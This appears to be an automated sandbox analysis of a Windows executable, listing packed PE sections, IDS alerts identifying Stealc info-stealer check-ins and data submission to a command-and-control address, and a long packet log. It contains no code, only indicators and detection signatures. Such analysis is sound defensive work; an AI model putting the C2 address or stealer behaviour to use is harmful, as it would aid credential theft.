Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8B84B8150Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ea9a3736824404e137c0ed2f03725ccd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x28b000	0x200	168dd136f75f7adae29e8537df776ca1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pdfpgapg	0x4e9000	0x190000	0x18fc00	cfae4a422e80b9f2a4e25012ae9abdc1	False	0.9946878420106317	data	7.953744882362791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rxeiizmb	0x679000	0x1000	0x400	0ef157a8e1d8d11d1a42133bf4ef07c6	False	0.732421875	data	5.8797035411683956	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67a000	0x3000	0x2200	5144996054cb37b9ad2f521596afacfd	False	0.0666360294117647	DOS executable (COM)	0.7794113364357972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T05:44:57.248357+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:44:57.480429+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:44:57.487063+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-04T05:44:57.712418+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:44:57.721461+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-04T05:44:58.847941+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:44:59.436599+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:05.532448+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:06.678984+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:07.315598+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:08.085283+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:10.296443+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:10.899191+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 05:44:56.270040989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:56.275655985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:56.276047945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:56.276144981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:56.281678915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:56.992733955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:56.992964029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:56.997601032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.003360987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.248037100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.248357058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.250070095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.255438089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.479979992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.480027914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.480428934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.482201099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.487062931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.712148905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.712199926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.712233067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.712265968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.712296963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.712330103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.712366104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.712418079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.712418079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.712418079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.712505102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.715071917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.721461058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.945636988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.945714951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.975537062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.975581884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:57.980540991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.980575085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.980601072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.980655909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.980684042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:57.980710030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:58.847865105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:58.847940922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.204442024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.209641933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436275959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436331987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436371088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436404943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436440945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436475039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436506033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436537981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436573029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436599016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.436599016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.436599016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.436599016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.436599970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.436599970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.436599970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.436609030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.436650991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.436674118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.437475920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.437524080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.437558889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.437596083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.437814951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573329926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573434114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573471069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573502064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573534012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573569059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573601007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573606014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573601961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573601961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573601961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573601961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573687077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573687077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573714972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573771000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573774099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573803902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573832035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573837996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573857069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573872089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.573885918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.573929071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.574585915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.574635983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.574654102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.574671030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.574697971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.574702978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.574721098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.574736118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.574757099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.574791908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.575508118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.575557947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.575573921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.575591087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.575614929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.575623035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.575644016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.575654984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.575686932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.575706005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.576329947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.576364040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.576394081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.576427937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.709697962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.709768057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.709803104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.709835052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.709868908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.709902048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.709933996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.709965944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.709997892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.710032940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.710160017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710160017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710160017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710160017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710160971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710266113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710266113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710539103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.710589886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.710634947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.710666895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.710700989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.710736036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.710931063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710931063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710931063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.710931063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.711061001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.711121082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.711170912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.711205959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.711236954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.711270094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.711277008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.711277962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.711277962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.711277962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.711354971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.711354971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712174892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712224007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712251902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712260962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712275982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712295055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712320089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712330103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712357998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712367058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712382078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712425947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712840080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712889910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712903023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712924957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712948084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712959051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.712991953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.712992907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.713010073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.713028908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.713052988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.713088036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.713649035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.713751078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.713764906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.713785887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.713809967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.713819027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.713844061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.713851929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.713879108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.713886023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.713912964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.713949919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.714514971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.714562893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.714579105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.714596987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.714621067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.714629889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.714657068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.714663982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.714692116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.714720011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.845633030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845668077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845706940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845721960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845736980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845743895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845757961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845772982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845788956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845803022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845818996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845933914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.845979929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846013069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846045017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846072912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846077919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846072912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846072912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846072912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846072912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846112967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846191883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846193075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846193075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846193075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846193075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846193075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846347094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846380949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846417904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846436024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846440077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846467972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846492052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846502066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846518993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846534014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846560955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846585989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846837044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846868992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846920967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846920967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846931934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846952915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846966982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846978903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846982002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.846992016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.846997023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.847009897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.847012043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.847032070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.847039938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.847064018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.847393036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.847445011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.847538948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.847553968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.847568035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.847580910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:44:59.847589970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:44:59.847606897 CEST	80	49704	185.215.113.37	192.168.2.5
